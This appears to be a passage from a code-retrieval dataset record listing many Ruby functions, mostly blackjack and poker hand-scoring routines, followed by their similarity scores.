'K'].include?(card[0])\n total += 10\n elsif card[0] == 'A'\n aces += 1\n else \n total += card[0].to_i\n end\n end\n \n while aces > 0\n if total + 11 > 21\n total += 1\n else\n total += 11\n end\n aces -= 1\n end\n total\nend", "def total\n calculate_hand_totals\n if @hand.empty?\n puts \"Your hand is empty.\"\n return\n end\n\n puts \"Your hand is #{@hand.to_s}\" \n\n if !in_good_standing?\n puts \"*** YOU LOSE! ***\"\n end\n\n puts \"You have #{@hand_totals.count} possible total(s) with #{@hand_totals.count - 1} Aces:\"\n @hand_totals.each do | total, ace_distrobution |\n if total > 21\n puts \"BUSTED!- #{total} - [A: #{ace_distrobution[:hi]} hi, #{ace_distrobution[:lo]} lo]\"\n elsif total == 21 && @hand.count == 2\n puts \"BLACKJACK - #{total} - [A: #{ace_distrobution[:hi]} hi, #{ace_distrobution[:lo]} lo]\"\n elsif total == 21\n puts \"WINNING HAND - #{total} - [A: #{ace_distrobution[:hi]} hi, #{ace_distrobution[:lo]} lo]\"\n else\n puts \"#{total} - [A: #{ace_distrobution[:hi]} hi, #{ace_distrobution[:lo]} lo]\"\n end\n end\n end", "def calc_hand_total(cards)\r\n total = 0\r\n numbers_only_array = cards.map {|g| g[0]}\r\n numbers_only_array.each do |h|\r\n if h == 'ace'\r\n total += 11\r\n elsif h.to_i == 0\r\n total += 10\r\n else\r\n total += h.to_i\r\n end\r\n end\r\n\r\n numbers_only_array.select {|k| k == \"ace\"}.count.times do\r\n total -= 10 if total > 21 \r\n end\r\n\r\n total\r\nend", "def is_high_card( hand )\n\treturn hand.map { | e | card_value( e ) }.max\nend", "def checkHand\n possible_hands = possibleHandValues\n if possible_hands.include?(21)\n return BLACKJACK\n elsif possible_hands.empty?\n return LOST\n else\n return possible_hands.max\n end\n end", "def can_hit\n if total.is_a?(Array)\n return 1\n else\n return 1 if total < 21\n end\n return nil\n end", "def is_bust\n unless total.is_a?(Array)\n return 1 if total > 21\n end\n return nil\n end", "def eval_7hand(hand)\n best = 9999\n subhand = []\n\n (0..20).each do |i|\n (0..4).each do |j|\n subhand[j] = hand[ Arrays::PERM7[i][j] ]\n q = eval_5hand(subhand)\n if q < best\n best = q\n else\n return best\n end\n end\n end\n end", "def check\n containAce = false\n i = 0\n sum = 0\n while i < @hand.length\n if 1 == num_to_value(@hand[i])\n containAce = true\n end\n sum += num_to_value(@hand[i])\n i += 1\n end\n\n if containAce\n if sum < 7\n @value = sum + 10\n elsif sum < 11\n @value = sum + 10\n @status = \"finished\"\n elsif 11 == sum\n if 2 == @hand.length \n @value = 50 # 50 means it's BLACKJACK\n @status = \"finished\"\n else\n @value = 21\n @status = \"finished\"\n end\n elsif sum < 17\n @value = sum\n else sum <= 21\n @value = sum\n @status = \"finished\"\n end\n else\n if sum < 17\n @value = sum\n else\n @value = sum\n @status = \"finished\"\n end\n end\n end", "def hit\n new_card = @deck.cards.pop\n @current_hand << new_card\n @total += new_card.value\n puts \"drew #{@current_hand[-1].card_id}\"\n\n @current_hand.each do |card|\n if @total > 21\n if card.value == 11 && card.ace_low == false\n @total -= 10\n card.ace_low = true\n end\n end\n end\n end", "def check\n curhand = \"hand ##{@cur+1} contains: \"\n containAce = false;\n sum = 0\n i = 0\n while i<@hands[@cur].length\n if 1 == num_to_value(@hands[@cur][i])\n containAce = true\n end\n sum += num_to_value(@hands[@cur][i])\n curhand += num_to_rank(@hands[@cur][i]) + \" \"\n i += 1\n end\n\n puts \"---------------------------------------------------------\"\n puts curhand\n\n if containAce\n if sum < 11\n puts \"hand ##{@cur+1} value: #{sum}/#{sum+10}\"\n @values[@cur] = sum + 10 # store the higher value which benefits the player\n elsif 11 == sum \n if 2 == @hands[@cur].length && 1 == @hands.length # a blackjack!! no split and only contain two cards\n puts \"hand ##{@cur+1} value: BLACKJACK!!\"\n @hands_status[@cur] = \"finished\"\n @values[@cur] = 50 # use 50 to represent a blackjack\n else\n puts \"hand ##{@cur+1} value: 21\"\n @values[@cur] = 21\n @hands_status[@cur] = \"finished\"\n end\n elsif sum < 21\n puts \"hand ##{@cur+1} value: #{sum}\"\n @values[@cur] = sum\n elsif 21 == sum\n puts \"hand ##{@cur+1} value: 21\"\n @hands_status[@cur] = \"finished\"\n @values[@cur] = 21\n else\n puts \"hand ##{@cur+1} value: #{sum} busted!\"\n @hands_status[@cur] = \"finished\"\n @values[@cur] = sum \n end\n else\n if sum < 21\n puts \"hand ##{@cur+1} value: #{sum}\"\n @values[@cur] = sum\n elsif 21 == sum\n puts \"hand ##{@cur+1} value: 21\"\n @hands_status[@cur] = \"finished\"\n @values[@cur] = 21\n else\n puts \"hand ##{@cur+1} value: #{sum} busted!\"\n @hands_status[@cur] = \"finished\"\n @values[@cur] = sum\n end\n end\n\n\n puts \"bets for hand ##{@cur+1}: #{@bets[@cur]}\"\n puts \"---------------------------------------------------------\"\n\n if \"finished\" == @hands_status[@cur] \n puts \"hand ##{@cur+1} finished\"\n puts \"\"\n if @cur < @hands.length - 1\n @cur += 1 \n self.check # this recursion is to output the information about newly splitted hand's initial status\n end\n end\n\n end", "def score\n handscore = possible_scores.sort.reverse\n handscore.detect { |value| value <= 21 } or handscore.last\n end", "def check_who_wins(hand_total_dealer, hand_total_player)\n hand_to_use_dealer = 0\n hand_to_use_player = 0\n\n if hand_total_dealer[1] <= 21\n hand_to_use_dealer = hand_total_dealer[1]\n else\n hand_to_use_dealer = hand_total_dealer[0]\n end\n\n if hand_total_player[1] <= 21\n hand_to_use_player = hand_total_player[1]\n else\n hand_to_use_player = hand_total_player[0]\n end\n\n if hand_to_use_player < hand_to_use_dealer\n return \"dealer\"\n elsif hand_to_use_dealer < hand_to_use_player\n return \"player\"\n elsif hand_to_use_player = hand_to_use_dealer\n return \"draw\"\n end\n\nend", "def eval_hand(player, player_hand)\n d = @dealer.hand.count\n p = player_hand.count\n\n if p > 21 || (d > p && d <= 21) # LOSE!\n puts \"You lost $#{player_hand.bet}.\"\n elsif d == p # PUSH!\n player.wallet += player_hand.bet\n puts :Push\n elsif p == 21 && player_hand.size == 2 # BLACKJACK!\n # Blackjack pays out 3/2.\n player.wallet += (player_hand.bet*2.5).to_i\n puts \"You won $#{player_hand.bet*1.5}!\"\n else # WIN!\n player.wallet += (player_hand.bet*2)\n puts \"You won $#{player_hand.bet}!\"\n end\n end", "def full_house(hand)\n\t\tif (pair(hand) > 0 and three_of_a_kind(hand) > 0)\n\t\t\treturn 6\n\t\tend\n\t\treturn 0\n\tend", "def bust (total)\n if total > 21\n return true\n else \n return false\n end\nend", "def blackjack(hand)\n value(hand) == 21 && hand.length == 2\n end", "def busted?(total)\n total > GAME_HIGH\nend", "def healthy? (tablespoons_of_butter, butter_calories = 102)\n (tablespoons_of_butter * butter_calories) < 75\nend", "def decide(hand)\n value(hand) >= 17 && :stand || :hit\nend", "def evaluate(hand) \n value = 0\n numerical_value = hand.map { |card| card[0]} \n numerical_value.each do |x| \n if ['K', 'Q', 'J'].include?(x)\n value += 10\n elsif x == 'A'\n value += 11\n else\n value += x.to_i\n end\n end\n \n hand.select {|x| x[0] == 'A'}.count.times do \n if value > 21\n value -= 10\n end\n end\n value\nend", "def show_hands\n player_final_value = player_hand.reduce(:+)\n dealer_final_value = dealer_hand.reduce(:+)\n puts \"Player has a total of #{player_final_value}. Dealer has a total of #{dealer_final_value}\"\n if player_final_value > dealer_final_value\n puts \"You win, congrats on beating a program built by a novice.\"\n else\n puts \"I have bested you.\"\n end\n end", "def eval_7_card_hand( cards )\n 1\n end", "def handle_ace(hand,sum)\n\t\tputs \"inside handleace #{sum} and #{hand}\"\n\t\tif sum > 21 && hand.include?(21)\n\t\t\thand.each { |x| \n\t\t\t\tif x==\"A21\" \n\t\t\t\tx=\"A1\" \n\t\t\t\tend}\n\t\t\treturn hand\n\t\tend\n\tend", "def under_17?\n under = false\n @values.each { |val| under |= val < 17 }\n under\n end", "def calculate_total(cards) # input is an array of arrays\n\tarr = cards.map { |e| e[1] } # gets second element of the array and loads that into a new array\n\n\ttotal = 0\n\tarr.each do |value|\n\t\ttotal = total + value\n\tend\n\n\tarr.select { |e| e == 11}.count.times do # corrects for aces\n\t\tif total > 21\n\t\t\ttotal = total - 10\n\t\tend\n\tend\n\nreturn total\nend", "def determine_dealers_best_total\n # @dealer_hand = ['ace of spades', '5 of spades', '4 of spades', 'ace of diamonds']\n # @player1_hand = ['3 of spades', 'ace of hearts', '4 of spades', 'ace of clubs']\n # @player1_hand = ['ace of clubs', '2 of clubs', 'ace of hearts', '4 of hearts']\n # @dealer_hand = ['king of hearts', '6 of diamonds']\n sum_of_dealers_hand = 0\n number_of_aces_in_hand = 0\n @dealer_hand.each {|x| # begin loop adding dealers hand\n card_value = @deckhash.fetch(x)\n\n if card_value == 1 then # adjust aces to a value of 11\n card_value = 11\n number_of_aces_in_hand = number_of_aces_in_hand + 1\n end\n sum_of_dealers_hand = sum_of_dealers_hand + card_value\n\n } #end of loop adding dealers hand\n\n if sum_of_dealers_hand > 21 then # must set one or more aces back to one\n loop do\n if number_of_aces_in_hand == 0 then break end\n sum_of_dealers_hand = sum_of_dealers_hand - 10\n if sum_of_dealers_hand < 22 then break end\n number_of_aces_in_hand = number_of_aces_in_hand - 1\n end #end of loop do\n end #end of sum_of_dealers_hand > 21\n\n # $stdout.write(\"Showing card and value #{sum_of_dealers_hand}, #{number_of_aces_in_hand} \\n\")\n # ### this method returns of the dealer's best hand'\n\n sum_of_dealers_hand = sum_of_dealers_hand + 0\n\n end", "def tally(hand)\n arr = hand.map{|e| e[0]} #gets the second element of the nested array (cos arrays are zero indexed)\n running_total = 0 #initialise this at the beginning & then iterate through each value to get the total from our new hand_total array\n \n arr.each do |value|\n if value == 'A'\n running_total += 11\n elsif value == 'J' || value == 'Q' || value == 'K' #could also say value.to_i ==0 because it would fail and return a 0\n running_total += 10\n else\n running_total += value.to_i\n end\n end\n\n # correct for Aces\n arr.select{|e| e == \"A\"}.count.times do\n running_total -= 10 if running_total > 21\n end\n \n running_total\nend", "def shouldHit\n # If 17 or above, lock the hand so it cannot receive any more cards\n \tif @hands[0].checkHand > 16 or @hands[0].checkHand < 0\n \t @hands[0].lock\n \tend\n \t@hands[0].canGetCards\n end", "def blackjack (total)\n if total == 21\n return true\n else \n return false\n end\nend", "def calculate_total hand\n\ttotal=0\n\tarray = hand.map {|e| e[1]}\n\tarray.each do |card|\n\t\t## face card \n\t\tif card == \"10\" || card ==\"J\" || card ==\"K\" || card ==\"Q\"\n\t\t\ttotal +=10\n\t\t## Ace card\t\n\t\telsif card ==\"A\"\n\t\t\ttotal += 11\n\t\telse \n\t\t\ttotal += card.to_i\n\t\tend\n\tend\n\thand.collect {|e| e[1]}.each do |card|\n\t\tif total >21 && card == \"A\"\n\t\t\ttotal -= 10\n\t\tend\n\tend\n\n\treturn total \nend", "def get_hand_value(hand)\n hand_values = hand.map { |card| card[0]} \n \n total = 0\n #check if there are any Aces\n hand_values.each do |value|\n if value == 'A'\n total += 11\n elsif value.to_i == 0 # this is for J, Q, K\n total += 10\n else\n total += value.to_i\n end\n end\n # To accomodate Aces, subtract 10 from the total per Ace if the total is >21\n hand_values.select{|value| value == \"A\"}.count.times do \n total -= 10 if total >21\n end\n total\nend", "def hand_value(cards)\n value = 0\n val_arr = []\n cards.each do |sub_array|\n val_arr << sub_array.last\n val_arr.sort!\n end\n val_arr.each do |val|\n if val == 11 && value > 10\n value = value + 1 \n else\n value = value + val\n end\n end\n return value\nend", "def keepable_hand\n keepable = false\n if @hand.count('land') >= 3 && @hand.count('land') <= 4 && @hand.size > 5\n keepable = true\n elsif\n @hand.count('land') >= 3 && @hand.count('low_curve') >= 1 && @hand.size >= 5\n keepable = true\n elsif\n @hand.count('land') >= 2 && @hand.count('ramp') >= 1 && @hand.size >= 5\n end\n keepable\n end", "def card_total(hand)\n total = 0\n ace = hand.select {|x| x[0] == 'A'}\n # Calculation of hand without aces.\n if ace == []\n hand.each do |x|\n x = x[0..-2].to_i\n x == 0? total += 10 : total += x\n end\n total\n else\n # Calculation of hand with ace(s)\n # Delete aces from hand array\n ace.each do |a|\n hand.each {|x| hand.delete(a) if x == a}\n end\n # Calculate hand without aces\n hand.each do |x|\n x = x[0..-2].to_i\n x == 0? total += 10 : total += x\n end\n ace.each {|a| hand << a}\n # Add the value of ace(s) to the current total\n nr_ace = ace.length\n case nr_ace\n when 1\n total <= 10? total += 11 : total += 1\n when 2\n total <= 9? total += 12 : total += 2\n when 3\n total <= 8? total += 13 : total += 3\n else\n total <= 7? total += 14 : total += 4\n end\n total \n end\nend", "def win_or_bust(player)\n total = player.calculate_total\n \n if total == 21\n player_wins(player)\n elsif total > 21\n player_busts(player)\n end\nend", "def exceeded?(amount = 1)\n used + amount > max\n end", "def high_card(hand)\n\t\thand_num = check_num(hand)\n\t\treturn hand_num.max\n\tend", "def count_score(array)\n total = 0\n sorted_hand = array.sort_by { |x| value(x) }\n sorted_hand.each do |x|\n if value(x) == 11 && total >= 11\n total += 1\n else\n total += value(x)\n end\n end\n total\nend", "def determine_dealers_lowest_total\n sum_of_dealers_hand = 0\n @dealer_hand.each {|x|\n card_value = @deckhash.fetch(x)\n if card_value == 1 then card_value = 11\n end\n sum_of_dealers_hand = sum_of_dealers_hand + card_value\n }\n # ### This method returns sum of dealer's hand\n return sum_of_dealers_hand\n end", "def is_straight( hand )\n\tcards = hand.map { | e | card_value( e ) }.sort\n\treturn ( 1..cards.length-1 ).all? { | i | cards[ i ]-1 == cards[ i-1 ] } ?\n\t1 : 0\nend", "def calculate_total\n total = 0\n cards.each {|a_card| total += a_card.value }\n #correct for Aces, if we have blown over 21\n cards.each do |a_card| \n if a_card.face == ACE \n total -= (ACE_VALUE - ACE_ALT_VALUE) if total > BLACKJACK\n end\n end\n total\n end", "def hand_value (hand)\n hand_value = 0\n hand.each do |card|\n case card.value\n when /[2-9]|[1][0]/ \n hand_value += card.value.to_i \n when /[JQK]/\n hand_value += 10\n when \"A\"\n hand_value += 11\n if hand_value > 21\n hand_value -= 10 \n end \n end\n end\n hand_value\n end", "def calculate_score(values)\n total = 0\n values.each do |card|\n total += card\n if total > 21 && card == 11\n total -= 10\n end\n end\n total\n end", "def check_dealer_hand(dealer_hand)\n case count_hand(dealer_hand)\n when 2..16\n return 0\n when 22..100\n return -1\n else\n return 1\n end\nend", "def deal_and_total(name, hand_array, deck_hash)\n read_hand(name, hand_array, deck_hash)\n new_hand_value = sum_cards(hand_array, deck_hash)\nend", "def double_bet?(hand)\n return @hands.include?(hand) && hand.double? && @cash - hand.bet >= 0\n end", "def must_hit\n return true if @hand.point != \"Blackjack\" && @hand.point <= 16\n return false\n end", "def sum_of_cards(hand)\n card_values = hand.map do |card|\n if card[0] == 1\n card[0] = 11\n elsif card[0] >= 11\n card[0] = 10\n else\n card[0]\n end\n end\n sum = 0\n card_values.each do |card|\n sum += card[0]\n end\n sum\n end", "def bust_method\n\tif original_total > 21 \n\t\tputs \"You have BUSTED!\"\n\telsif original_total == 21\n\t\tputs \"You got 21!\"\n\telsif original_total < 21 \n\t\tputs \"Hit or Stay?\"\n\tend \nend", "def result(hand)\n v = value(hand)\n case v\n when 21 then hand.size == 2 && :natural || 21\n when 17..20 then v\n when 0..16 then raise \"error, illegal resulting hand value\"\n else :bust\n end\nend", "def total\n tot = 0\n for card in @cards\n tot += card.value\n end\n if has_ace and tot < 12\n tot2 = tot + 10\n if tot2 > 17\n return tot2\n elsif tot2 == 17\n unless @hit_soft_17\n return tot2\n end\n end\n end\n return tot\n end", "def paycheck(hours_actually_editing, paycheck_total, hourly_charge = 50)\n\t(paycheck_total/hours_actually_editing) > hourly_charge\nend", "def dealer_decision\n while hand_value(@dealer_hand) < 17 \n puts \"\\nDealer hits!\"\n hit(@dealer_hand)\n show_hands()\n end\n end", "def get_hand_score\n score = 0\n \n # Add up score of non-aces\n values = hand.map{|card| card.value}\n values.each do |val|\n if Array(2..10).include?(val.to_i)\n score += val.to_i\n elsif [\"J\", \"Q\", \"K\"].include?(val)\n score += 10\n end\n end\n\n # deal with the aces\n values.count(\"A\").times do\n if score + 11 <= 21\n score += 11\n else\n score += 1\n end\n end\n\n return score\n end", "def hit?(total)\n prompt_user\n choice = get_user_input\n if choice == 's'\n return total\n elsif choice == 'h'\n total += deal_card\n else\n invalid_command\n return hit?(total)\n end\n return total\nend", "def sum\n\t\t#sets sum at 0\n\t\tsum = 0\t\t\n\n\t\t#adds each card to the sum\n\t\t@hand_contents.each do |card|\n\t\t\tsum += card.number\n\t\tend\n\n\t\t@hand_contents.each do |card|\n\t\t\tif card.number.eql? 1 then\n\t\t\t\tif sum + 10 <= 21 then\n\t\t\t\t\tsum += 10\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t#return the sum\t\t\n\t\treturn sum\n\tend", "def winning_hand\n if !(@player.hand.bust)\n if @player.hand.value > @dealer.hand.value\n player_win\n elsif @player.hand.value == @dealer.hand.value\n if @player.hand.blackjack? && [email protected]?\n player_win\n else\n puts \"The hand pushed\"\n @player.push_bet\n puts \"You have #{@player.chips_remaining} remaining\"\n end\n else\n puts \"You lost the hand\"\n puts \"You have #{@player.chips_remaining} remaining\"\n end\n else\n puts \"You busted\"\n puts \"You have #{@player.chips_remaining} remaining\"\n end\n end", "def six_cards?(player_check)\n if (player_check.hand.length == 6) && (player_check.hand_total < 21)\n return true\n else\n return false\n end\n end", "def stop_hit(hand)\r\n return true if hand.is_bust\r\n return true if hand.hand_score == [17]\r\n return true if hand.hand_score.max > 17\r\n return false\r\n end", "def twenty_one?(*values)\n res = values.inject { |sum, num| sum += num }\n res % 21 == 0\n end", "def check_report(input, number, total)\n input.combination(number).detect { |tuple| tuple.sum == total }.reduce(:*)\nend", "def house_rules\n while get_hand_value(@dealer_hand) < 17\n puts \"HOUSE HITS\".colorize(:red)\n hit(@dealer_hand)\n puts \"HOUSE NOW SITS ON #{get_hand_value(@dealer_hand)}\".colorize(:blue)\n return\n end \nend", "def under_five(cart)\n\tcart.all? do |item|\n\t\titem.all? do |name, data|\n\t\t\tdata[:price] <= 5\n\t\tend\n\tend\nend", "def calculate_hand_total_value(hand_array)\n total_value = 0\n is_there_an_ace = false\n\n hand_array.each do |card|\n if card[:rank] === \"A\"\n is_there_an_ace = true\n end\n\n card_value = card[:value]\n total_value += card_value\n\n end\n\n if is_there_an_ace\n return [total_value, total_value + 10]\n\n else\n return [total_value, 999]\n\n end\n\nend", "def calculate_total(cards)\n arr = cards.map{|e| e[1] }\n\n total = 0 \n arr.each do |value|\n if value == \"Ace\"\n total == 11\n elsif value.to_i == 0 # Jack Queen or King\n total += 10\n else\n total += value.to_i\n end\n end\n\narr.select{|e| e == \"Ace\"}.count.times do\n if total > 21\n total -= 10 \n end\nend\n#if arr.include?(\"Ace\") && total > 21\n #total -= 10 \n total\nend", "def hand_value(hand)\n sum = 0\n hand.each do |card|\n sum += card\n end\n sum\n end", "def get_hand_sum(curr_hand) \n curr_hand.inject(0) { |sum, card| sum + card }\n end", "def calculate_score(hand_of_cards)\n card_values = hand_of_cards.map{|card_value| card_value[1]}\n total = 0 \n card_values.each do |card_value| \n if card_value == \"ACE\"\n total+= 11\n elsif card_value.to_i == 0 #For suits ie Jester, Queen\n total+= 10\n else \n total+= card_value.to_i\n end\n end \n\n#adjust for Aces\n card_values.select{|card| card == \"ACE\"}.count.times do \n total-=10 if total > 21\n end \n total\nend", "def place_bet(hand)\n if @hands.include?(hand) && @cash - @bet >= 0\n hand.bet = @bet\n @total_bet += hand.bet\n @cash -= @bet\n return true\n else\n return false\n end\n end", "def evaluate right_amt, wrong_amt\n percent = self.get_current right_amt, wrong_amt\n\n self.threshold.to_f <= percent\n end", "def sum_of_abundant?(num)\n array = abundant_below(num)\n !array.select{|n| array.include?(num -n) }.empty?\nend", "def paid_enough(hash, price)\n temp_paid = cash_converters(hash)\n if temp_paid >= price then true else false end\n end", "def possibleHandValues\n \thand_values = Set.new [0] # start with value 0\n \[email protected] do |card| # for each card in the hand\n \t card_values = card.getValue\n \t new_hand_values = Set.new # add its value to all the possible\n \t hand_values.each do |total| # values for each of the previous\n \t \tcard_values.each do |card_value| # cards\n new_hand_values << total+card_value\n end\n end\n # Swap variable names. This makes the loop simpler\n new_hand_values, hand_values = hand_values, new_hand_values\n new_hand_values.clear\n end\n # Get the values that are below 21\n hand_values.delete_if do |value|\n if value > BLACKJACK\n true\n end\n end\n hand_values # Return set of possible values\n end", "def calculate_conditions\n if hand_value(@dealer_hand) > 21\n puts \"\\ndealer busts! You WIN!\"\n @user[:balance] += @wager\n puts \"\\nYour new balance is $#{@user[:balance]}\"\n elsif hand_value(@player_hand) == hand_value(@dealer_hand)\n puts \"\\nHand is a push! You get your money back\"\n elsif hand_value(@player_hand) > hand_value(@dealer_hand)\n puts \"\\nYou Win!\"\n @user[:balance] += @wager\n puts \"\\nYour new balance is $#{@user[:balance]}\"\n elsif hand_value(@player_hand) < hand_value(@dealer_hand)\n puts \"HOUSE WINS. Try again\"\n @user[:balance] -= @wager\n puts \"Your new balance is $#{@user[:balance]}\"\n else\n puts \"Something went wrong\"\n end\n end", "def win?(player_check)\n other = \"\"\n player_check == player ? other = dealer : other = player\n if (player_check == player)&&(player_check.hand_total == other.hand_total)\n return \"Tie\"\n elsif (player_check.bust == false) && (other.bust == false) && (player_check.hand_total > other.hand_total)\n return true\n elsif (player_check.hand_total == 21)\n return true\n elsif (player_check.bust == false) && (other.bust == false)&&(player_check.hand_total < other.hand_total)\n return false\n elsif (player_check.bust == false) && (other.bust == true)\n return true\n elsif (player_check.bust == true) && (other.bust == false)\n return false\n elsif (player_check.bust = true) && (other.bust == true)\n return \"Bust\"\n end\n end", "def play_as_dealer(deck)\r\n if value < 17\r\n hit!(deck)\r\n play_as_dealer(deck)\r\n else\r\n puts \"Dealer Total is #{value}\"\r\n end\r\n end", "def ace_check\n cards[index_of_11][:points] = 1 if index_of_11 && (total > 21)\n end", "def split_hand?(hand)\n return @hands.include?(hand) && hand.split? && @hands.length <= MAX_SPLITS && @cash - hand.bet >= 0\n end", "def blackjack_score(hand)\n allowed_cards = %w[ 2 3 4 5 6 7 8 9 10 Jack Queen King Ace ]\n\n# Validate input\n if hand.length > 5\n raise ArgumentError.new(\"Your hand contains more than 5 cards.\")\n end \n\n result = hand.all? {|card| allowed_cards.include?(card)}\n if !result\n raise ArgumentError.new(\"Invalid card value.\")\n end \n\n# Calculate score \n score = 0\n hand.each do |card|\n if card.length <= 2\n points = card.to_i\n score += points\n elsif card.length == 3 \n score += 1\n else \n score += 10 \n end \n end\n\n if score <= 11 && hand.include?(\"Ace\")\n score += 10\n end\n\n# Validate result\n if score > 21\n raise ArgumentError.new(\"#{score} is greater than 21, you lose!\")\n end\n\n return score \nend", "def hand_value(hand)\n return 0 if hand.empty?\n value = 0\n\n # Add up the face values\n hand.each do |card|\n value += FACE_VALUES[card.face]\n end\n\n # Handle any needed Ace changes.\n while value > BUST\n hand.each do |card|\n if card.face == 'A'\n # Subtract the difference between high and low ace (10).\n value -= (FACE_VALUES['A'] - FACE_VALUES['L'])\n end\n end\n break # no aces to change, bail\n end\n\n return value\n end", "def determine_winning_hand(dealer, player)\n if dealer > 21\n puts \"The dealer busts with a hand total of #{dealer}. You win!\"\n elsif dealer > player\n puts \"The dealer, with a hand total of #{dealer}, beats your hand total of #{player}. Dealer wins!\"\n elsif player > dealer\n puts \"Your hand total of #{player} beats the dealer's hand total of #{dealer}. You win!\"\n else\n puts \"Both of your hands total #{player}. It's a push!\"\n end\nend", "def mood?(total_ruby_found)\n total_real = total_ruby_found[0]\n return 'victorious!' if total_real >= 10\n return 'sad.' if total_real >= 1 && total_real <= 9\n return 'empty-handed.' if total_real.zero?\n end", "def isOver?\n @deck.cardsRemaining < MIN_CARDS\n end", "def analyze_hand\n pairs = 0\n straight = 0\n flush = 0\n\n # for now be conservative\n @play = 3\n\n # check for pairs\n\n\n # check for flush\n\n # check for straight\n\n\n\n # check for special hands\n #full house\n #royal flush\n #straight flush\n \n end", "def poker hands\n raise NoHandError if hands.empty?\n allmax(hands, method(:hand_rank))\nend", "def calculate_total(cards) # [['H', '3'], ['S', 'Q']...]\n\tarr = cards.map{|e| e[1] }\n\n total = 0\n arr.each do |value|\n if value == \"A\"\n \ttotal += 11\n elsif value.to_i == 0 #J, Q, K\n \t\ttotal += 10\n else\n \ttotal += value.to_i\n end\n end\n\n #correct for Aces when total is over 21\n arr.select{|e| e == \"A\"}.count.times do\n \ttotal -= 10 if total > 21\n end\n\n total\nend", "def detect_result(dealer_hand, player_hand)\n player_total = calculate_total(player_hand)\n dealer_total = calculate_total(dealer_hand)\n\n if player_total > 21\n :player_busted\n elsif dealer_total > 21\n :dealer_busted\n elsif dealer_total < player_total\n :player\n elsif player_total < dealer_total\n :dealer\n else\n :tie\n end\nend", "def total (hand, current_total)\n # cards are nested arrays format like this: [\"H\", \"9\"] and [\"S\", \"9\"]\n # can extract out separate array of values only using .map, ignore suits\n string_values = hand.map { |card| card[1] } \n\n string_values.each do |value|\n current_total += get_int_value(value, current_total)\n end\n current_total\nend", "def calculate_total(cards)\n\tarr = cards.map { |e| e[1] }\n\n\ttotal = 0\n\tarr.each do |value|\n\t\tif value == 'A'\n\t\t\ttotal += 11\n\t\telsif value.to_i == 0 #only works for J, Q, K\n\t\t\ttotal += 10\n\t\telse\n\t\t\ttotal += value.to_i\n\t\tend\n\tend\n\t#Code to make Aces work\n\tarr.select{|e| e == \"A\"}.count.times do\n\t\ttotal -=10 if total > 21\n\tend\n\n\tif arr.include?(\"A\") && total > 21\n\t\ttotal -= 10\n\tend\n\n\ttotal\nend" ]
[ "0.7555504", "0.6689158", "0.6543822", "0.6280151", "0.6223152", "0.61925024", "0.6177859", "0.6166044", "0.6115651", "0.60773134", "0.60630304", "0.6017149", "0.6002817", "0.5996013", "0.5956973", "0.58738285", "0.5794578", "0.576753", "0.5765908", "0.5753785", "0.5749009", "0.57396615", "0.5738642", "0.5730432", "0.5726325", "0.56940234", "0.56848633", "0.56765634", "0.563474", "0.5631944", "0.56291217", "0.56194496", "0.5605612", "0.5582305", "0.5572192", "0.5552956", "0.55494285", "0.55449295", "0.5542629", "0.55298185", "0.55029756", "0.54914916", "0.5488002", "0.5485731", "0.54671633", "0.5452111", "0.5393716", "0.53908336", "0.5376782", "0.53722763", "0.5357988", "0.5354789", "0.5348949", "0.5343997", "0.534265", "0.5326075", "0.5314172", "0.53108823", "0.5305632", "0.530349", "0.5301303", "0.52996415", "0.52885425", "0.52836907", "0.5278277", "0.5276666", "0.5265225", "0.52568394", "0.52509654", "0.5246969", "0.52415615", "0.52341735", "0.5232157", "0.5229919", "0.5224262", "0.5222549", "0.5212484", "0.5208862", "0.5201876", "0.5196658", "0.5195313", "0.5187516", "0.51843077", "0.51831853", "0.51825225", "0.51624054", "0.5156669", "0.51536596", "0.5133572", "0.51322407", "0.5128078", "0.5122695", "0.5118616", "0.5111801", "0.510771", "0.51076806", "0.5092359", "0.50897473", "0.50873953", "0.50853866" ]
0.7920512
0
Check if a given hand has a total over 17, either hard or soft hand can +++ be higher than 17, only used for the dealer. Takes one argument: hand_total: accept an array representing the total value of a given hand.
def check_if_over_17(hand_total) if hand_total[1] === 999 if hand_total[0] >= 17 return true end else if hand_total[0] >= 17 || hand_total[1] >= 17 return true end end return false end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def check_if_over_21(hand_total)\n if hand_total[0] > 21 && hand_total[1] > 21\n return true\n\n else\n return false\n\n end\nend", "def bust?(hand)\n return hand_total( hand ) > WIN_VALUE \n\n end", "def calculate_hand_value(hand)\n value = 0\n if hand.values.reduce(:+) <= 21\n value = hand.values.reduce(:+)\n elsif hand.values.reduce(:+) > 21 && hand.keys.any? {|card| card.include?(\"A\") }\n hand.keys.each do |card|\n hand[card] = 1 if card.include?(\"A\")\n value = hand.values.reduce(:+)\n break if value <= 21\n end\n value\n else\n value = hand.values.reduce(:+)\n end\n\nend", "def hand_total(hand) \n\n #A flag to see if the hand contains an ace\n have_ace = ! ( session[hand].select{|card| card['rank'] == \"ace\"}.empty? ) \n\n total = 0 \n\n #Look up the point value of each card in the hand\n session[hand].each do |card|\n total += RANK_TO_POINTS[ card['rank']]\n end\n \n #Convert from hard (ace=1) to a soft (ace=11) \n #score if hand contains an ace\n #and it won't cause the hand to bust\n if (total <= 11 && have_ace) then total += 10 end \n\n return total \n\n end", "def pl_high?\n session[:player].hand_total > session[:dealer].hand_total\n end", "def value_of_hand(hand)\n collection_of_card_values = hand.collect {|index| index[1]}\n card_values = collection_of_card_values.inject{|sum,next_card| sum + next_card }\n if collection_of_card_values.include?(1) && card_values < 12\n card_values += 10\n end\n card_values\nend", "def under_17?\n under = false\n @values.each { |val| under |= val < 17 }\n under\n end", "def check_hand(hand)\n\t\t\tmin_value = hand.min_value\n\t\t\tclamped = hand.clamp_value(21, 21)\n\t\t\tif min_value > 21\n\t\t\t\tupdated = self.bust(hand)\n\t\t\telsif clamped > 0 # Value of hand is 21\n\t\t\t\tupdated = self.stand(hand, true, hand.is_blackjack)\n\t\t\telse\n\t\t\t\tupdated = [hand]\n\t\t\tend\n\t\t\treturn updated\n\t\tend", "def get_optimum_hand_score(hand)\n total = 0\n hand.each do |card|\n total += get_card_value(card)\n end\n\n #Count the number of aces we have\n num_aces = (hand.select{|card| get_card_value(card) == 11}).length\n\n #Account fo aces\n while total > 21 && num_aces > 0 do\n total -= 10\n num_aces -= 1\n end\n return total\nend", "def total\n calculate_hand_totals\n if @hand.empty?\n puts \"Your hand is empty.\"\n return\n end\n\n puts \"Your hand is #{@hand.to_s}\" \n\n if !in_good_standing?\n puts \"*** YOU LOSE! ***\"\n 